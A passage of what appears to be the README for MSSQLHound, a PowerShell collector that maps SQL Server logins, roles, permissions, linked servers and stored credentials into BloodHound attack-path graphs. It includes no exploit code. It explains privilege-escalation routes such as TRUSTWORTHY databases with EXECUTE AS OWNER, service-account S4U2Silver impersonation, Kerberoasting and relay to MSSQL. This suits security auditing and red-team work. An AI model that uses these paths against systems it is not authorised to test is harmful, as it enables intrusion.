[`MSSQL_Login`](#server-login-mssql_login-node) - - [`MSSQL_ServerRole`](#server-role-mssql_serverrole-node) - - [Database Level](#database-level) - - [`MSSQL_Database`](#database-mssql_database-node) - - [`MSSQL_DatabaseUser`](#database-user-mssql_databaseuser-node) - - [`MSSQL_DatabaseRole`](#database-role-mssql_databaserole-node) - - [`MSSQL_ApplicationRole`](#application-role-mssql_applicationrole-node) -- [MSSQL Edges Reference](#mssql-edges-reference) - - [Edge Classes and Properties](#edge-classes-and-properties) - - [`CoerceAndRelayToMSSQL`](#coerceandrelaytomssql) - - [`MSSQL_AddMember`](#mssql_addmember) - - [`MSSQL_Alter`](#mssql_alter) - - [`MSSQL_AlterAnyAppRole`](#mssql_alteranyapprole) - - [`MSSQL_AlterAnyDBRole`](#mssql_alteranydbrole) - - [`MSSQL_AlterAnyLogin`](#mssql_alteranylogin) - - [`MSSQL_AlterAnyServerRole`](#mssql_alteranyserverrole) - - [`MSSQL_ChangeOwner`](#mssql_changeowner) - - [`MSSQL_ChangePassword`](#mssql_changepassword) - - [`MSSQL_Connect`](#mssql_connect) - - [`MSSQL_ConnectAnyDatabase`](#mssql_connectanydatabase) - - [`MSSQL_Contains`](#mssql_contains) - - [`MSSQL_Control`](#mssql_control) - - [`MSSQL_ControlDB`](#mssql_controldb) - - [`MSSQL_ControlServer`](#mssql_controlserver) - - [`MSSQL_ExecuteAs`](#mssql_executeas) - - [`MSSQL_ExecuteAsOwner`](#mssql_executeasowner) - - [`MSSQL_ExecuteOnHost`](#mssql_executeonhost) - - [`MSSQL_GetAdminTGS`](#mssql_getadmintgs) - - [`MSSQL_GetTGS`](#mssql_gettgs) - - [`MSSQL_GrantAnyDBPermission`](#mssql_grantanydbpermission) - - [`MSSQL_GrantAnyPermission`](#mssql_grantanypermission) - - [`MSSQL_HasDBScopedCred`](#mssql_hasdbscopedcred) - - [`MSSQL_HasLogin`](#mssql_haslogin) - - [`MSSQL_HasMappedCred`](#mssql_hasmappedcred) - - [`MSSQL_HasProxyCred`](#mssql_hasproxycred) - - [`MSSQL_HostFor`](#mssql_hostfor) - - [`MSSQL_Impersonate`](#mssql_impersonate) - - [`MSSQL_ImpersonateAnyLogin`](#mssql_impersonateanylogin) - - [`MSSQL_IsMappedTo`](#mssql_ismappedto) - - [`MSSQL_IsTrustedBy`](#mssql_istrustedby) - - [`MSSQL_LinkedAsAdmin`](#mssql_linkedasadmin) - - [`MSSQL_LinkedTo`](#mssql_linkedto) - - [`MSSQL_MemberOf`](#mssql_memberof) - - [`MSSQL_Owns`](#mssql_owns) - - [`MSSQL_ServiceAccountFor`](#mssql_serviceaccountfor) - - [`MSSQL_TakeOwnership`](#mssql_takeownership) - -# Overview -Collects BloodHound OpenGraph compatible data from one or more MSSQL servers into individual temporary files, then zips them in the current directory - - Example: `mssql-bloodhound-20250724-115610.zip` - -## System Requirements: - - PowerShell 4.0 or higher - - Target is running SQL Server 2005 or higher - - BloodHound v8.0.0+ with Postgres backend (to use prebuilt Cypher queries): https://bloodhound.specterops.io/get-started/custom-installation#postgresql - -## Minimum Permissions: -### Windows Level: - - Active Directory domain context with line of sight to a domain controller -### MSSQL Server Level: - - **`CONNECT SQL`** (default for new logins) - - **`VIEW ANY DATABASE`** (default for new logins) - -## Recommended Permissions: -### MSSQL Server Level: - - **`VIEW ANY DEFINITION`** permission or `##MS_DefinitionReader##` role membership (available in versions 2022+) - - Needed to read server principals and their permissions - - Without one of these permissions, there will be false negatives (invisible server principals) - - **`VIEW SERVER PERFORMANCE STATE`** permission or `##MSS_ServerPerformanceStateReader##` role membership (available in versions 2022+) or local `Administrators` group privileges on the target (fallback for WMI collection) - - Only used for service account collection - -### MSSQL Database Level: - - **`CONNECT ANY DATABASE`** server permission (available in versions 2014+) or `##MS_DatabaseConnector##` role membership (available in versions 2022+) or login maps to a database user with `CONNECT` on individual databases - - Needed to read database principals and their permissions - - Login maps to **`msdb`** database user with **`db_datareader`** role or with `SELECT` permission on: - - `msdb.dbo.sysproxies` - - `msdb.dbo.sysproxylogin` - - `msdb.dbo.sysproxysubsystem` - - `msdb.dbo.syssubsystems` - - Only used for proxy account collection - -# Usage Info -Run MSSQLHound from a box where you aren’t highly concerned about resource consumption. While there are guardrails in place to stop the script if resource consumption is too high, it’s probably a good idea to be careful and run it on a workstation instead of directly on a critical database server, just in case. - -If you don't already have a specific target or targets in mind, start by running the script with the `-DomainEnumOnly` flag set to see just how many servers you’re dealing with in Active Directory. Then, use the `-ServerInstance` option to run it again for a single server or add all of the servers that look interesting to a file and run it again with the `-ServerListFile` option. - -If you don't do a dry run first and collect from all SQL servers with SPNs in the domain (the default action), expect the script to take a very long time to finish and eat up a ton of disk space if there ar a lot of servers in the environment. Based on limited testing in client environments, the file size for each server before they are all zipped ranges significantly from 2MB to 50MB+, depending on how many objects are on the server. - -To populate the MSSQL node glyphs in BloodHound, execute `MSSQLHound.ps1 -OutputFormat BloodHound-customnodes` (or copy the following) and use the API Explorer page to submit the JSON to the `custom-nodes` endpoint. - -``` -{ - "custom_types": { - "MSSQL_DatabaseUser": { - "icon": { - "name": "user", - "color": "#f5ef42", - "type": "font-awesome" - } - }, - "MSSQL_Login": { - "icon": { - "name": "user-gear", - "color": "#dd42f5", - "type": "font-awesome" - } - }, - "MSSQL_DatabaseRole": { - "icon": { - "name": "users", - "color": "#f5a142", - "type": "font-awesome" - } - }, - "MSSQL_Database": { - "icon": { - "name": "database", - "color": "#f54242", - "type": "font-awesome" - } - }, - "MSSQL_ApplicationRole": { - "icon": { - "name": "robot", - "color": "#6ff542", - "type": "font-awesome" - } - }, - "MSSQL_Server": { - "icon": { - "name": "server", - "color": "#42b9f5", - "type": "font-awesome" - } - }, - "MSSQL_ServerRole": { - "icon": { - "name": "users-gear", - "color": "#6942f5", - "type": "font-awesome" - } - } - } -} -``` - -There are several new edges that have to be non-traversable because they are not abusable 100% of the time, including when: -- the stored AD credentials might be stale/invalid, but maybe they are! - - MSSQL_HasMappedCred - - MSSQL_HasDBScopedCred - - MSSQL_HasProxyCred -- the server principal that owns the database does not have complete control of the server, but maybe it has other interesting permissions - - MSSQL_IsTrustedBy -- the server is linked to another server using a principal that does not have complete control of the remote server, but maybe it has other interesting permissions - - MSSQL_LinkedTo -- the service account can be used to impersonate domain users that have a login to the server, but we don’t have the necessary permissions to check that any domain users have logins - - MSSQL_ServiceAccountFor - - It would be unusual, but not impossible, for the MSSQL Server instance to run in the context of a domain service account and have no logins for domain users. If you can infer that certain domain users have access to a particular MSSQL Server instance or discover that information through other means (e.g., naming conventions, OSINT, organizational documentation, internal communications, etc.), you can request service tickets for those users to the MSSQL Server if you have control of the service account (e.g., by cracking weak passwords for Kerberoastable service principals). - -Want to be a bit more aggressive with your pathfinding queries? You can make these edges traversable using the `-MakeInterestingEdgesTraversable` flag. - -I also recommend conducting a collection with the `-IncludeNontraversableEdges` flag enabled at some point if you need to understand what permissions on which objects allow the traversable edges to be created. By default, non-traversable edges are skipped to make querying the data for valid attack paths easier. This is still a work in progress, but look out for the “Composition” item in the edge entity panel for each traversable edges to grab a pastable cypher query to identify the offending permissions. - -If the [prebuilt Cypher queries](saved_queries) are returning `failed to translate kinds: unable to map kinds:` errors, upload [seed_data.json](seed_data.json) to populate a single fake instance of each new edge class so they can be queried. - -# Command Line Options -For the latest and most reliable information, please execute MSSQLHound with the `-Help` flag. - -| Option
______________________________________________ | Values
_______________________________________________________________________________________________ | -|--------|--------| -| **-Help** `` | • Display usage information | -| **-OutputFormat** `` | • **BloodHound**: OpenGraph implementation that collects data in separate files for each MSSQL server, then zips them up and deletes the originals. The zip can be uploaded to BloodHound by navigating to `Administration` > `File Ingest`
• **BloodHound-customnodes**: Generate JSON to POST to `custom-nodes` API endpoint
• **BloodHound-customnode**: Generate JSON for DELETE on `custom-nodes` API endpoint
• **BHGeneric**: Work in progress to make script compatible with [BHOperator](https://github.com/SadProcessor/BloodHoundOperator) | -| **-ServerInstance** `` | • A specific MSSQL instance to collect from:
    • **Null**: Query the domain for SPNs and collect from each server found
    • **Name/FQDN**: ``
    • **Instance**: `[:\|:]`
    • **SPN**: `/[:\|:]` | -| **-ServerListFile** `` | • Specify the path to a file containing multiple server instances to collect from in the ServerInstance formats above | -| **-ServerList** `` | • Specify a comma-separated list of server instances to collect from in the ServerInstance formats above | -| **-TempDir** `` | • Specify the path to a temporary directory where .json files will be stored before being zipped
Default: new directory created with `[System.IO.Path]::GetTempPath()` | -| **-ZipDir** `` | • Specify the path to a directory where the final .zip file will be stored
• Default: current directory | -| **-MemoryThresholdPercent** `` | • Maximum memory allocation limit, after which the script will exit to prevent availability issues
• Default: `90` | -| **-Credential** `` | • Specify a PSCredential object to connect to the remote server(s) | -| **-UserID** `` | • Specify a **login** to connect to the remote server(s) | -| **-SecureString** `` | • Specify a SecureString object for the login used to connect to the remote server(s) | -| **-Password** `` | • Specify a **password** for the login used to connect to the remote server(s) | -| **-Domain** `` | • Specify a **domain** to use for name and SID resolution | -| **-DomainController** `` | • Specify a **domain controller** FQDN/IP to use for name and SID resolution | -| **-IncludeNontraversableEdges** (switch) | • **On**: • Collect both **traversable and non-traversable edges**
• **Off (default)**: Collect **only traversable edges** (good for offensive engagements until Pathfinding supports OpenGraph edges) | -| **-MakeInterestingEdgesTraversable** (switch) | • **On**: Make the following edges traversable (useful for offensive engagements but prone to false positive edges that may not be abusable):
    • **MSSQL_HasDBScopedCred**
    • **MSSQL_HasMappedCred**
    • **MSSQL_HasProxyCred**
    • **MSSQL_IsTrustedBy**
    • **MSSQL_LinkedTo**
    • **MSSQL_ServiceAccountFor**
• **Off (default)**: The edges above are non-traversable | -| **-SkipLinkedServerEnum** (switch) | • **On**: Don't enumerate linked servers
• **Off (default)**: Enumerate linked servers | -| **-CollectFromLinkedServers** (switch) | • **On**: If linked servers are found, try and perform a full MSSQL collection against each server
• **Off (default)**: If linked servers are found, **don't** try and perform a full MSSQL collection against each server | -| **-DomainEnumOnly** (switch) | • **On**: If SPNs are found, **don't** try and perform a full MSSQL collection against each server
• **Off (default)**: If SPNs are found, try and perform a full MSSQL collection against each server | -| **-InstallADModule** (switch) | • **On**: Try to install the ActiveDirectory module for PowerShell if it is not already installed
• **Off (default)**: Do not try to install the ActiveDirectory module for PowerShell if it is not already installed. Rely on DirectoryServices, ADSISearcher, DirectorySearcher, and NTAccount.Translate() for object resolution. | -| **-LinkedServerTimeout** `` | • Give up enumerating linked servers after `X` seconds
• Default: `300` seconds (5 minutes) | -| **-FileSizeLimit** `` | • Stop enumeration after all collected files exceed this size on disk
• Supports MB, GB
• Default: `1GB` | -| **-FileSizeUpdateInterval** `` | • Receive periodic size updates as files are being written for each server
• Default: `5` seconds | -| **-Version** `` | • Display version information and exit | - -# Limitations -- MSSQLHound can’t currently collect nodes and edges from linked servers over the link, although I’d like to add more linked server collection functionality in the future. -- MSSQLHound doesn’t check DENY permissions. Because permissions are denied by default unless explicitly granted, it is assumed that use of DENY permissions is rare. One exception is the CONNECT SQL permission, for which the DENY permission is checked to see if the principal can remotely log in to the MSSQL instance at all. -- MSSQLHound stops enumerating at the database level. It could be modified to go deeper (to the table/stored procedure or even column level), but that would degrade performance, especially when merging with the AD graph. -- EPA enumeration without a login or Remote Registry access is not yet supported (but will be soon) -- Separate collections in domains that can’t reach each other for principal SID resolution may not merge correctly when they are ingested (i.e., more than one MSSQL_Server node may represent the same server, one labelled with the SID, one with the name). - -# Future Development: -- Unprivileged EPA collection (in the works) -- Option to zip after every server (to save disk space) -- Collection from linked servers -- Collect across domains and trusts -- Azure extension for SQL Server -- AZUser/Groups for server logins / database users -- Cross database ownership chaining -- DENY permissions -- EXECUTE permission on xp_cmdshell -- UNSAFE/EXTERNAL_ACCESS permission on assembly (impacted by TRUSTWORTHY) -- Add this to CoerceAndRelayToMSSQL: - - Domain principal has CONNECT SQL (and EXECUTE on xp_dirtree or other stored procedures that will authenticate to a remote host) - - Service account/Computer has a server login that is enabled on another SQL instance - - EPA is not required on remote SQL instance - -# MSSQL Graph Model -MSSQL Red Green (1) - -# MSSQL Nodes Reference -## Server Level -### Server Instance (`MSSQL_Server` node) -image
-The entire installation of the MSSQL Server database management system (DBMS) that contains multiple databases and server-level objects - -| Property
______________________________________________ | Definition
_______________________________________________________________________________________________ | -|----------|------------| -| **Label**: string | • Format: `[:\|:]`
• Examples:
    • `SQL.MAYYHEM.COM` (default port and instance name)
    • `SQL.MAYYHEM.COM:SQL2012` (named instance) | -| **Object ID**: string | • Format: `:`
• Example: `S-1-5-21-843997178-3776366836-1907643539-1108:1433`
• Port or instance name should be a part of the identifier in case there are multiple MSSQL Server instances on the same host.
• Two or more accounts are permitted to have identical SPNs in Active Directory (https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/setspn), and two or more names may resolve to the same host (e.g., `MSSQLSvc/ps1-db:1433` and `MSSQLSvc/ps1-db.mayyhem.com:1433`) so we will use the domain SID instead of the host portion of the SPN, when available.
• MSSQLSvc SPNs may contain an instance name instead of the port, in which case the SQL Browser service (`UDP/1434`) is used to determine the listening port for the MSSQL server. In other cases the port is dynamically chosen and the SPN updated when the service [re]starts. The `ObjectIdentifier` must be capable of storing either value in case there is an instance name in the SPN and the SQL Browser service is not reachable, and prefer instance over port.
• The script currently falls back to using the FQDN instead of the SID if the server can't be resolved to a domain object (for example, if it is resolved via DNS or reachable via the MSSQL port but can't be resolved to a principal in another domain).
    • This format complicates things when trying to merge objects from collections taken from different domains, with different privileges, or when servers are discovered via SQL links. For example, when collecting from `hostA.domain1.local`, a link to `hostB.domain2.local:1433` is discovered. The collector can't resolve principals in `domain2`, so its `ObjectIdentifier` is the `hostname:port` instead. However, `hostB.domain2.local` is reachable on port `1433` and after connecting, the collector determines that its instance name is `SQLHOSTB`. Later, a collection is done on `HostB` from within `domain2`, so its `ObjectIdentifier` is either `sid:port` or `sid:instanceName`, depending on what's in the SPNs.| -| **Databases**: List\ | • Names of databases contained in the SQL Server instance | -| **Extended Protection**: string
(`Off` \| `Allowed` \| `Required` \| `Allowed/Required`) |• Allowed and required both prevent authentication relay to MSSQL (using service binding if Force Encryption is `No`, using channel binding if Force Encryption is `Yes`). | -| **Force Encryption**: string
(`No` \| `Yes`) | • Does the server require clients to encrypt communications? | -| **Has Links From Servers**: List\ | • SQL Server instances that have a link to this SQL Server instance
• There is no way to view this using SSMS or other native tools on the target of a link. | -| **Instance Name**: string | • SQL Server instances are identified using either a port or an instance name.
• Default: `MSSQLSERVER` | -| **Is Any Domain Principal Sysadmin**: bool | • If a domain principal is a member of the sysadmin server role or has equivalent permissions (`securityadmin`, `CONTROL SERVER`, or `IMPERSONATE ANY LOGIN`), the domain service account running MSSQL can impersonate such a principal to gain control of the server via S4U2Silver. See the `MSSQL_GetAdminTGS` edge for more information. | -| **Is Linked Server Target**: bool | • Does any SQL Server instance have a link to this SQL Server instance?
• There is no way to view this using SSMS or other native tools on the target of a link. | -| **Is Mixed Mode Auth Enabled**: bool | • **True**: both Windows and SQL logins are permitted to access the server remotely
• **False**: only Windows logins are permitted to access the server remotely | -| **Linked To Servers**: List\ | • SQL Server instances that this SQL Server instance is linked to | -| **Port**: uint |• SQL Server instances are identified using either a port or an instance name.
• Default: `1433` | -| **Service Account**: string | • The Windows account running the SQL Server instance | -| **Service Principal Names**: List\ | • SPNs associated with this SQL Server instance | -| **Version**: string | • Result of `SELECT @@VERSION` - -### Server Login (`MSSQL_Login` node) -image
-A type of server principal that can be assigned permissions to access server-level objects, such as the ability to connect to the instance or modify server role membership. These principals can be local to the instance (SQL logins) or mapped to a domain user, computer, or group (Windows logins). Server logins can be added as members of server roles to inherit the permissions assigned to the role. - -| Property
______________________________________________ | Definition
_______________________________________________________________________________________________ | -|----------|------------| -| **Label**: string | • Format: ``
• Example: `MAYYHEM\sqladmin` | -| **Object ID**: string | • Format: `@`
• Example: `MAYYHEM\sqladmin@S-1-5-21-843997178-3776366836-1907643539-1108:1433` | -| **Active Directory Principal**: string | • Name of the AD principal this login is mapped to | -| **Active Directory SID**: string | • SID of the AD principal this login is mapped to | -| **Create Date**: datetime | • When the login was created | -| **Database Users**: List\ | • Names of each database user this login is mapped to | -| **Default Database**: string | • The default database used when the login connects to the server | -| **Disabled**: bool | • Is the account disabled? | -| **Explicit Permissions**: List\ | • Server level permissions assigned directly to this login
• Does not include all effective permissions such as those granted through role membership | -| **Is Active Directory Principal**: bool | • If a domain principal has a login, the domain service account running MSSQL can impersonate such a principal to gain control of the login via S4U2Silver. | -| **Member of Roles**: List\ | • Names of roles this principal is a direct member of
• Does not include nested memberships | -| **Modify Date**: datetime | • When the principal was last modified | -| **Principal Id**: uint | • The identifier the SQL Server instance uses to associate permissions and other objects with this principal | -| **SQL Server**: string | • Name of the SQL Server where this object is a principal | -| **Type**: string | • **ASYMMETRIC_KEY_MAPPED_LOGIN**: Used to sign modules within the database, such as stored procedures, functions, triggers, or assemblies and can't be used to connect to the server remotely. I haven't messed with these much but they can be assigned permissions and impersonated.
• **CERTIFICATE_MAPPED_LOGIN**: Used to sign modules within the database, such as stored procedures, functions, triggers, or assemblies and can't be used to connect to the server remotely. I haven't messed with these much but they can be assigned permissions and impersonated.
• **SQL_LOGIN**: This login is local to the SQL Server instance and mixed-mode authentication must be enabled to connect with it
• **WINDOWS_LOGIN**: A Windows account is mapped to this login
• **WINDOWS_GROUP**: A Windows group is mapped to this login | - -### Server Role (`MSSQL_ServerRole` node) -image
-A type of server principal that can be assigned permissions to access server-level objects, such as the ability to connect to the instance or modify server role membership. Server logins and user-defined server roles can be added as members of server roles, inheriting the role's permissions. - -| Property
______________________________________________ | Definition
_______________________________________________________________________________________________ | -|----------|------------| -| **Label**: string | • Format: ``
• Example: `processadmin` | -| **Object ID**: string | • Format: `@`
• Example: `processadmin@S-1-5-21-843997178-3776366836-1907643539-1108:1433` | -| **Create Date**: datetime | • When the role was created | -| **Explicit Permissions**: List\ | • Server level permissions assigned directly to this login
• Does not include all effective permissions such as those granted through role membership | -| **Is Fixed Role**: bool | • Whether or not the role is built-in (i.e., ships with MSSQL and can't be removed) | -| **Member of Roles**: List\ | • Names of roles this principal is a direct member of
• Does not include nested memberships | -| **Members**: List\ | • Names of each principal that is a direct member of this role | -| **Modify Date**: datetime | • When the principal was last modified | -| **Principal Id**: uint | • The identifier the SQL Server instance uses to associate permissions and other objects with this principal | -| **SQL Server**: string | • Name of the SQL Server where this object is a principal | - -## Database Level - -### Database (`MSSQL_Database` node) -image
-A collection of database principals (e.g., users and roles) as well as object groups called schemas, each of which contains securable database objects such as tables, views, and stored procedures. - -| Property
______________________________________________ | Definition
_______________________________________________________________________________________________ | -|----------|------------| -| **Label**: string | • Format: ``
• Example: `master` | -| **Object ID**: string | • Format: `\`
• Example: `S-1-5-21-843997178-3776366836-1907643539-1108:1433\master` | -| **Is Trustworthy**: bool | • Is the `Trustworthy` property of this database set to `True`?
• When `Trustworthy` is `True`, principals with control of the database are permitted to execute server level actions in the context of the database's owner, allowing server compromise if the owner has administrative privileges.
• Example: If `sa` owns the `CM_PS1` database and the database's `Trustworthy` property is `True`, then a user in the database with sufficient privileges could create a stored procedure with the `EXECUTE AS OWNER` statement and leverage the `sa` account's permissions to execute SQL statements on the server. See the `MSSQL_ExecuteAsOwner` edge for more information. | -| **Owner Login Name**: string | • Example: `MAYYHEM\cthompson` | -| **Owner Principal ID**: uint | • The identifier the SQL Server instance uses to associate permissions and other objects with this principal | -| **SQL Server**: string | • Name of the SQL Server where this object is a principal | - -### Database User (`MSSQL_DatabaseUser` node) -image
-A user that has access to the specific database it is contained in. Users may be mapped to a login or may be created without a login. Users can be assigned permissions to access database-level objects, such as the ability to connect to the database, access tables, modify database role membership, or execute stored procedures. Users and user-defined database roles can be added as members of database roles, inheriting the role's permissions. - -| Property
______________________________________________ | Definition
_______________________________________________________________________________________________ | -|----------|------------| -| **Label**: string | • Format: `@`
• Example: `MAYYHEM\LOWPRIV@CM_CAS` | -| **Object ID**: string | • Format: `@`
• `Example: MAYYHEM\LOWPRIV@S-1-5-21-843997178-3776366836-1907643539-1117:1433\CM_CAS` | -| **Create Date**: datetime | • When the user was created | -| **Database**: string | • Name of the database where this user is a principal | -| **Default Schema**: string | • The default schema used when the user connects to the database | -| **Explicit Permissions**: List\ | • Database level permissions assigned directly to this principal
• Does not include all effective permissions such as those granted through role membership | -| **Member of Roles**: List\ | • Names of roles this principal is a direct member of
• Does not include nested memberships | -| **Modify Date**: datetime | • When the principal was last modified | -| **Principal Id**: uint | • The identifier the SQL Server instance uses to associate permissions and other objects with this principal | -| **Server Login**: string | • Name of the login this user is mapped to | -| **SQL Server**: string | • Name of the SQL Server where this object is a principal | -| **Type**: string | • **ASYMMETRIC_KEY_MAPPED_USER**: Used to sign modules within the database, such as stored procedures, functions, triggers, or assemblies and can't be used to connect to the server remotely. I haven't messed with these much but they can be assigned permissions and impersonated.
• **CERTIFICATE_MAPPED_USER**: Used to sign modules within the database, such as stored procedures, functions, triggers, or assemblies and can't be used to connect to the server remotely. I haven't messed with these much but they can be assigned permissions and impersonated.
• **SQL_USER**: This user is local to the SQL Server instance and mixed-mode authentication must be enabled to connect with it
• **WINDOWS_USER**: A Windows account is mapped to this user
• **WINDOWS_GROUP**: A Windows group is mapped to this user | - -### Database Role (`MSSQL_DatabaseRole` node) -image
-A type of database principal that can be assigned permissions to access database-level objects, such as the ability to connect to the database, access tables, modify database role membership, or execute stored procedures. Database users, user-defined database roles, and application roles can be added as members of database roles, inheriting the role's permissions. - -| Property
______________________________________________ | Definition
_______________________________________________________________________________________________ | -|----------|------------| -| **Label**: string | • Format: `@`
• Example: `db_owner@CM_CAS` | -| **Object ID**: string | • Format: `@`
• Example: `db_owner@S-1-5-21-843997178-3776366836-1907643539-1117:1433\CM_CAS` | -| **Create Date**: datetime | • When the role was created | -| **Database**: string | • Name of the database where this role is a principal | -| **Explicit Permissions**: List\ | • Database level permissions assigned directly to this principal
• Does not include all effective permissions such as those granted through role membership | -| **Member of Roles**: List\ | • Names of roles this principal is a direct member of
• Does not include nested memberships | -| **Members**: List\ | • Names of each principal that is a direct member of this role | -| **Modify Date**: datetime | • When the principal was last modified | -| **Principal Id**: uint | • The identifier the SQL Server instance uses to associate permissions and other objects with this principal | -| **SQL Server**: string | • Name of the SQL Server where this object is a principal | - -### Application Role (`MSSQL_ApplicationRole` node) -image
-A type of database principal that is not associated with a user but instead is activated by an application using a password so it can interact with the database using the role's permissions. - -| Property
______________________________________________ | Definition
_______________________________________________________________________________________________ | -|----------|------------| -| **Label**: string | • Format: `@`
• Example: `TESTAPPROLE@TESTDATABASE` | -| **Object ID**: string | • Format: `@`
• Example: `TESTAPPROLE@S-1-5-21-843997178-3776366836-1907643539-1108:1433\TESTDATABASE` | -| **Create Date**: datetime | • When the principal was created | -| **Database**: string | • Name of the database where this object is a principal | -| **Default Schema**: string | • The default schema used when the principal connects to the database | -| **Explicit Permissions**: List\ | • Database level permissions assigned directly to this principal
• Does not include all effective permissions such as those granted through role membership | -| **Member of Roles**: List\ | • Names of roles this principal is a direct member of
• Does not include nested memberships | -| **Modify Date**: datetime | • When the principal was last modified | -| **Principal Id**: uint | • The identifier the SQL Server instance uses to associate permissions and other objects with this principal | -| **SQL Server**: string | • Name of the SQL Server where this object is a principal | - - -# MSSQL Edges Reference -This section includes explanations for edges that have their own unique properties. Please refer to the `$script:EdgePropertyGenerators` variable in `MSSQLHound.ps1` for the following details: -- Source and target node classes (all combinations) -- Requirements -- Default fixed roles with the permission -- Traversability -- Entity panel details (dynamically-generated) - - General - - Windows Abuse - - Linux Abuse - - OPSEC - - References - - Composition Cypher (where applicable) - -## Edge Classes and Properties - -### `MSSQL_ExecuteAsOwner` -| Property
______________________________________________ | Definition
_______________________________________________________________________________________________ | -|-----------------------------------------------|------------| -| **Database**: string | • Name of the target database where the source can execute SQL statements as the server-level owning principal | -| **Database Is Trustworthy**: bool | • **True**: Database principals that can execute `EXECUTE AS OWNER` statements can execute actions in the context of the server principal that owns the database
• **False**: The database isn't allowed to access resources beyond the scope of the database | -| **Owner Has Control Server**: bool | • **True**: The server principal that owns the database has the `CONTROL SERVER` permission, allowing complete control of the MSSQL server instance. | -| **Owner Has Impersonate Any Login**: bool | • **True**: The server principal that owns the database has the `IMPERSONATE ANY LOGIN` permission, allowing complete control of the MSSQL server instance. | -| **Owner Has Securityadmin**: bool | • **True**: The server principal that owns the database is a member of the `securityadmin` server role, allowing complete control of the MSSQL server instance. | -| **Owner Has Sysadmin**: bool | • **True**: The server principal that owns the database is a member of the `sysadmin` server role, allowing complete control of the MSSQL server instance. | -| **Owner Login Name**: string | • The name of the server login that owns the database
• Example: `MAYYHEM\cthompson` | -| **Owner Object Identifier**: string | • The object identifier of the server login that owns the database | -| **Owner Principal ID**: uint | • The identifier the SQL Server instance uses to associate permissions and other objects with this principal | -| **SQL Server**: string | • Name of the SQL Server where this object is a principal | - -### `MSSQL_GetAdminTGS` -| Property
______________________________________________ | Definition
_______________________________________________________________________________________________ | -|-----------------------------------------------|------------| -| **Domain Principals with ControlServer**: List | • Domain principals with logins that have the `CONTROL SERVER` effective permission, allowing complete control of the MSSQL server instance. | -| **Domain Principals with ImpersonateAnyLogin**: List | • Domain principals with logins that have the `IMPERSONATE ANY LOGIN` effective permission, allowing complete control of the MSSQL server instance. | -| **Domain Principals with Securityadmin**: List | • Domain principals with membership in the `securityadmin` server role, allowing complete control of the MSSQL server instance. | -| **Domain Principals with Sysadmin**: List | • Domain principals with membership in the `sysadmin` server role, allowing complete control of the MSSQL server instance. | - -### `MSSQL_HasDBScopedCred` -| Property
______________________________________________ | Definition
_______________________________________________________________________________________________ | -|-----------------------------------------------|------------| -| **Credential ID**: string | • The identifier the SQL Server instance uses to associate other objects with this principal | -| **Credential Identity**: string | • The domain principal this credential uses to authenticate to resources | -| **Credential Name**: string | • The name used to identify this credential in the SQL Server instance | -| **Create Date**: datetime | • When the credential was created | -| **Database**: string | • Name of the database where this object is a credential | -| **Modify Date**: datetime | • When the credential was last modified | -| **Resolved SID**: string | • The domain SID for the credential identity | - -### `MSSQL_HasMappedCred` -| Property
______________________________________________ | Definition
_______________________________________________________________________________________________ | -|-----------------------------------------------|------------| -| **Credential ID**: uint | • The identifier the SQL Server instance uses to associate other objects with this principal | -| **Credential Identity**: string | • The domain principal this credential uses to authenticate to resources | -| **Credential Name**: string | • The name used to identify this credential in the SQL Server instance | -| **Create Date**: datetime | • When the credential was created | -| **Modify Date**: datetime | • When the credential was last modified | -| **Resolved SID**: string | • The domain SID for the credential identity | - -### `MSSQL_HasProxyCred` -| Property
______________________________________________ | Definition
_______________________________________________________________________________________________ | -|-----------------------------------------------|------------| -| **Authorized Principals**: List | • Principals that are authorized to use this proxy credential | -| **Credential ID**: string | • The identifier the SQL Server instance uses to associate other objects with this principal | -| **Credential Identity**: string | • The domain principal this credential uses to authenticate to resources | -| **Credential Name**: string | • The name used to identify this credential in the SQL Server instance | -| **Description**: string | • User-provided description of the proxy that uses this credential | -| **Is Enabled**: bool | • Is the proxy that uses this credential enabled? | -| **Proxy ID**: uint | • The identifier the SQL Server instance uses to associate other objects with this proxy | -| **Proxy Name**: string | • The name used to identify this proxy in the SQL Server instance | -| **Resolved SID**: string | • The domain SID for the credential identity | -| **Resolved Type**: string | • The class of domain principal for the credential identity | -| **Subsystems**: List | • Subsystems this proxy is configured with (e.g., `CmdExec`, `PowerShell`) | - -### `MSSQL_LinkedAsAdmin` -| Property
______________________________________________ | Definition
_______________________________________________________________________________________________ | -|-----------------------------------------------|------------| -| **Data Access**: bool | • **True (enabled)**:
    • The linked server can be used in distributed queries
    • You can `SELECT`, `INSERT`, `UPDATE`, `DELETE` data through the linked server
    • Four-part naming queries work: `[LinkedServer].[Database].[Schema].[Table]`
    • `OPENQUERY()` statements work against this linked server
• **False (disabled)**:
    • The linked server connection still exists but cannot be used for data queries
    • Attempts to query through it will fail with an error
  • The linked server can still be used for other purposes like RPC calls (if RPC is enabled) | -| **Data Source**: string | • Format: `[\instancename]`
• Examples: `SITE-DB` or `CAS-PSS\CAS` | -| **Local Login**: List | • The login(s) on the source that can use the link and connect to the linked server using the Remote Login | -| **Path**: string | • The link used to collect the information needed to create this edge | -| **Product**: string | • A user-defined name of the product used by the remote server
• Examples: `SQL Server`, `Oracle`, `Access` | -| **Provider**: string | • The driver or interface that SQL Server uses to communicate with the remote data source | -| **Remote Current Login**: string | • Displays the login context that is actually used on the remote linked server based on the results of the `SELECT SYSTEM_USER` SQL statement on the remote linked server
• If impersonation is used, it is likely that this value will be the login used for collection
• If not, this should match Remote Login | -| **Remote Has Control Server**: bool | • Does the login context on the remote server have the `CONTROL SERVER` permission? | -| **Remote Has Impersonate Any Login**: bool | • Does the login context on the remote server have the `IMPERSONATE ANY LOGIN` permission? | -| **Remote Is Mixed Mode**: bool | • Is mixed mode authentication (for both Windows and SQL logins) enabled on the remote server? | -| **Remote Is Securityadmin**: bool | • Is the login context on the remote server a member of the `securityadmin` server role? | -| **Remote Is Sysadmin**: bool | • Is the login context on the remote server a member of the `sysadmin` server role? | -| **Remote Login**: string | • The SQL Server authentication login that exists on the remote server that connections over this link are mapped to
• The password for this login must be saved on the source server
• Will be null if impersonation is used, in which case the login context being used on the source server is used to connect to the remote linked server | -| **Remote Server Roles**: List | • Server roles the remote login context is a member of | -| **RPC Out**: bool | • Can the source server call stored procedures on remote server? | -| **Uses Impersonation**: bool | • Does the linked server attempt to use the current user's Windows credentials to authenticate to the remote server?
• For SQL Server authentication, a login with the exact same name and password must exist on the remote server.
• For Windows logins, the login must be a valid login on the linked server.
• This requires Kerberos delegation to be properly configured
